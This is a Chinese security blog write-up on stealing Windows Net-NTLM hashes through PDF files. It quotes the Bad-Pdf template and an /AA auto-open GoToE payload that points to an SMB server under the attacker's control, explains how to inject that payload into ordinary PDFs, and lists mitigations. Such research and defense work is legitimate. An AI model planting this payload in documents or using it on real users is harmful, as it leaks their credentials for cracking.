渗透技巧——利用 PDF 文件获取 Net-NTLM hash
0x00 前言
今年 4 月,来自 CheckPoint 的 Assaf Baharav 公开了一个方法,利用 PDF 文件的正常功能够窃取 Windows 系统的 NTLM Hash。
具体的说,当用户使用 PDF 阅读器打开一份恶意的 PDF 文档,该 PDF 会向远程 SMB 服务器发出请求,如果该远程 SMB 服务器对数据包进行抓取,就能够获得用户 Windows 系统的 Net NTLM Hash,通过进一步破解就有可能获得用户系统的明文密码。
然而 Microsoft、Adobe 和 FoxIT 对此没有进行针对性的修复。
这个利用方法成功的条件有哪些?没有修复的原因又是什么呢?
本文将要站在技术研究的角度进行介绍
0x01 简介
本文将要介绍以下内容:
- 原理和利用思路
- 测试 POC,生成一个恶意 PDF 文件
- 分析 PDF 文件格式
- 编写脚本实现修改正常 PDF 文件
- 开源代码
0x02 原理和利用思路
参考资料:https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/
原理
PDF 规范允许为 GoTobe 和 GoToR 条目加载远程内容
直观的理解:
PDF 文件可以添加一项功能,请求远程 SMB 服务器的文件
而我们知道,Windows 系统下 SMB 协议有一个特性:客户端在连接 SMB 服务器时,默认先使用本机的用户名和密码 hash 尝试登录,通信协议默认为 Net-NTLMv1 或者 Net-NTLMv2
工具 Hashcat 提供了字典和暴力破解两种方法来还原 Net-NTLMv1 和 Net-NTLMv2 协议中的明文密码
只要在 SMB 服务器上进行抓包,提取关键数据,就能够获得 Hashcat 需要的参数,尝试破解
抓包可选择 WireShark,对获得的 pcap 包进行解析,提取关键数据。如果使用 Responder 可自动提取出关键数据。
类似的利用思路:可参考以下文章:https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/
介绍了多种文件格式的利用方法
利用思路
- 构造一份特殊的 PDF 文档,请求 SMB 服务器的一份文件
- 在 SMB 服务器上抓包
- 用户使用 PDF 阅读器打开 PDF 文档时,Windows 系统将当前用户的 Net NTLM Hash 发送到 SMB 服务器
- SMB 服务器提取出 Net NTLM Hash,使用 Hashcat 进行破解
- 还原出用户的明文密码
- 根据用户的明文密码尝试进一步利用
0x03 测试 POC
Assaf Baharav 在他的文章中已经公开了 POC,如下图
注:图片引用自 https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/
如果想要直接进行测试,可参考 Deepu TV 的 POC,地址如下:https://github.com/deepzec/Bad-Pdf
实际测试
Client:
- IP: 192.168.62.135
- OS: Win7 x86
SMB Server:
- IP: 192.168.62.139
- OS: Win8 x86
- 开放共享文件夹: test
1、使用 Bad-Pdf 生成 PDF 文件
本次测试对 Bad-Pdf.py 做部分修改,不执行 Responder
设置 host IP: 192.168.62.139
协议选择 SMB
如下图
生成测试 PDF 文件 badpdf.pdf
2、SMBServer 进行抓包
开启 Wireshark
3、Clinet 使用 Adobe Reader 打开 badpdf.pdf
4、查看 Wireshark,成功获得 Net NTLM Hash 的数据包
如下图
0x04 POC 细节分析
参考代码:https://github.com/deepzec/Bad-Pdf/blob/master/badpdf.py
Assaf Baharav 的 POC 是在脚本中写好了 PDF 文件的模板
下面对其中的关键代码进行说明:
(1)
2 0 obj
<</Type/Pages/Kids[3 0 R]/Count 1>>
endobj
/Type /Pages
表示对象的类型为页码
/Kids[3 0 R]
表示页的对象是 3
/Count 1
表示页码数量为 1
(2)
3 0 obj
<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]/Resources<<>>>>
endobj
/Parent 2 0 R
表示父对象是 2,同(1) 中 /Kids[3
对应
/MediaBox
表示页面的显示大小(以象素为单位)
(3)
xref
0 4
0000000000 65535 f
0000000015 00000 n
0000000060 00000 n
0000000111 00000 n
xref
表示这部分为交叉引用表
0 4
表示下面各行所描述的对象号是从 0 开始,并且有 4 个对象
0000000000 65535 f
固定格式,可看作文件头
0000000015 00000 n
对应第一个对象, 0000000015
表示偏移地址(十进制); 00000
为 5 位产生号(最大为 65535),0 表明该对象未被修改过; n 表示该对象在使用,如果为 f,表示该对象为 free
(4)
trailer
<</Size 4/Root 1 0 R>>
startxref
190
...中间省略的代码...
trailer
<<
/Root 1 0 R
>>
%%EOF
trailer
表示文件尾 trailer 对象的开始
/Size 4
表示该 PDF 文件的对象数目为 4
/Root 1 0 R
表示根对象的对象号为 1
startxref 190
表示交叉引用表的偏移地址为 190
%%EOF
表示文件结束标志
(5)
3 0 obj
<< /Type /Page
/Contents 4 0 R
/AA <<
/O <<
/F (''' + host + '''test)
/D [ 0 /Fit]
/S /GoToE
>>
>>
/Parent 2 0 R
/Resources <<
/Font <<
/F1 <<
/Type /Font
/Subtype /Type1
/BaseFont /Helvetica
>>
>>
>>
>>
endobj
此处为关键代码,实现远程访问
/Contents 4 0 R
表示页面内容对象的对象号为 4
/Parent 2 0 R
表示父对象是 2
在 /Contents 4 0 R
和 /Parent 2 0 R
直接为实现远程访问的代码
对于 PDF 文件格式,不需要换行符,所以这段代码去掉换行符和空格,填入 ServerIP 后为 /AA <</O <</F (\\\\192.168.62.139\\test)/D [ 0 /Fit]/S /GoToE>>>>
0x05 修改正常 PDF 文件
接下来,尝试修改正常的文件,添加代码,实现远程访问功能
使用工具生成的 PDF 文件一般都很大,分析格式不是很方便,这里提供一个 python 生成 PDF 的参考代码,地址如下:http://code.activestate.com/recipes/189858/
输入 txt 文件,输出 pdf 文件
实际测试
1.txt 的内容为:
1234567
cmd:
recipe-189858-1.py 1.txt
生成的 pdf 文件 1.txt.pdf
,文件大小 1213 bytes
查看 1.txt.pdf 的文件格式,如下图
在 /Parent 3 0 R
和 /Resources 5 0 R
直接添加代码 /AA <</O <</F (\\\\192.168.62.139\\test)/D [ 0 /Fit]/S /GoToE>>>>
注:需要十六进制编辑,使用文本编辑会导致 PDF 文件出错
对 PDF 文件添加上述代码后,交叉引用表中对象的偏移位置会出现偏差,需要重新计算,修正偏移位置
使用 Adobe Reader 打开修改后的文件 1.txt.pdf
,SMB 服务器成功抓到 Net NTLM Hash,修改成功
0x06 脚本编写
经实际测试,不修正交叉引用表中对象的偏移位置,不会影响 PDF 文件的正常访问
所以脚本编写上只需要定位 /Parent <n> 0 R
后,添加访问远程文件的代码即可
值得注意的是 PDF 文件的读取和写入需要以二进制格式
实现代码已开源,可参考:https://github.com/3gstudent/Worse-PDF
0x07 利用分析
成功利用需要满足以下条件:
- 用户使用 PDF 阅读器打开,如果使用 IE 或是 Chrome 打开 PDF 文件,并不会执行
对于 Windows 系统,通过 Net NTLM Hash 破解出明文有一定难度
即使破解出了明文,利用的效果也有限(例如普通用户的 Windows 系统很少开启远程登录功能)
0x08 防御
虽然微软并未针对这个利用方法进行针对性的修复,但在之前已经提供了一个防御的方法,参考地址:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV170014
但只支持 Win10 和 Server2016
0x09 小结
本文测试了利用 PDF 文件获取 Net-NTLM hash 的方法,分析原理,根据 PDF 的文件格式尝试编写脚本实现修改正常的 PDF 文件,开源代码,总结利用条件。
最后,个人也认为 Microsoft 没有必要对此进行针对性的修复。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论